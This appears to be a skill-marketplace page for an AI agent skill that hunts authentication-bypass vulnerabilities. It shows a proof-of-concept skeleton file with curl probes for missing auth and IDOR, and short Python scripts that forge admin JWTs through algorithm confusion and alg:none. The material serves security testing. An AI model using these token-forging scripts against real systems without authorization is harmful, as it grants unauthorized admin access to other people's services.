ajtazer/heckit / skills/cve-hunting/auth-bypass
auth-bypass
VerifiedDetect authentication and authorization bypass vulnerabilities including missing auth middleware, JWT algorithm confusion, IDOR, and session fixation.
| File | Kind | Size |
|---|---|---|
| SKILL.md | skill md | 3.3 KB |
| references/false-positive-indicators.md | markdown | 1008 B |
| references/poc-skeleton.md | markdown | 1.4 KB |
| references/sinks.md | markdown | 1.4 KB |
references/poc-skeleton.md
View on GitHub# PoC Skeleton -- Auth Bypass
## Missing Auth Middleware
```bash
# Step 1: Find unprotected endpoint
curl -X GET http://target/api/admin/users
# Expected: 200 OK with user data (should be 401/403)
# Step 2: Compare with protected endpoint
curl -X GET http://target/api/admin/settings
# Expected: 401 Unauthorized (auth works here)
```
## JWT Algorithm Confusion (RS256 to HS256)
```python
#!/usr/bin/env python3
"""JWT Algorithm Confusion Attack"""
import jwt
# Step 1: Get the public key (often exposed at /jwks or /.well-known/jwks.json)
public_key = open('public.pem').read()
# Step 2: Sign token using public key as HMAC secret
forged = jwt.encode(
{'sub': 'admin', 'role': 'admin'},
public_key,
algorithm='HS256'
)
print(f'[+] Forged token: {forged}')
# Use this token in Authorization: Bearer header
```
## JWT alg:none
```python
import base64, json
header = base64.urlsafe_b64encode(json.dumps({"alg": "none", "typ": "JWT"}).encode()).rstrip(b'=')
payload = base64.urlsafe_b64encode(json.dumps({"sub": "admin", "role": "admin"}).encode()).rstrip(b'=')
token = header.decode() + '.' + payload.decode() + '.'
print(f'[+] alg:none token: {token}')
```
## IDOR
```bash
# Step 1: Create two accounts (user A and user B)
# Step 2: As user A, access user B resources
curl -H "Authorization: Bearer TOKEN_A" http://target/api/users/USER_B_ID
# If returns user B data: IDOR confirmed
```
Related skills
| Skill | Stars | Updated | Works with | Status | Install |
|---|---|---|---|---|---|
| rea-analysis-optimizationmorluto/reaOptimize REA providers and shared analysis workflows for agent context, latency, CPU, and memory while preserving correctness and Evidence. Use for analysis bottlenecks and cache or query design; CI/test-suite optimization belongs to rea-ci-tests-audit. | Stars: 472k | Updated | Claude CodeCodex | Verified | Install |
| rea-ci-tests-auditmorluto/reaAudit REA CI and test suites for correctness, fixture drift, false passes, and measured performance; use for suite or workflow investigations and efficiency changes, rather than ordinary feature testing or a single test failure. | Stars: 472k | Updated | Claude CodeCodex | Verified | Install |
| rea-tool-designmorluto/reaAudit, investigate, design, or change REA investigation tools, CLI/MCP contracts, provider capabilities, and Evidence semantics. | Stars: 472k | Updated | Claude CodeCodex | Verified | Install |
| ponytail-auditDietrichGebert/ponytailQuality audit of the whole repo: bugs, security, real load, missing tests, speed, and what to delete. Most important first. | Stars: 194k | Updated | Claude CodeCodex | Verified | Install |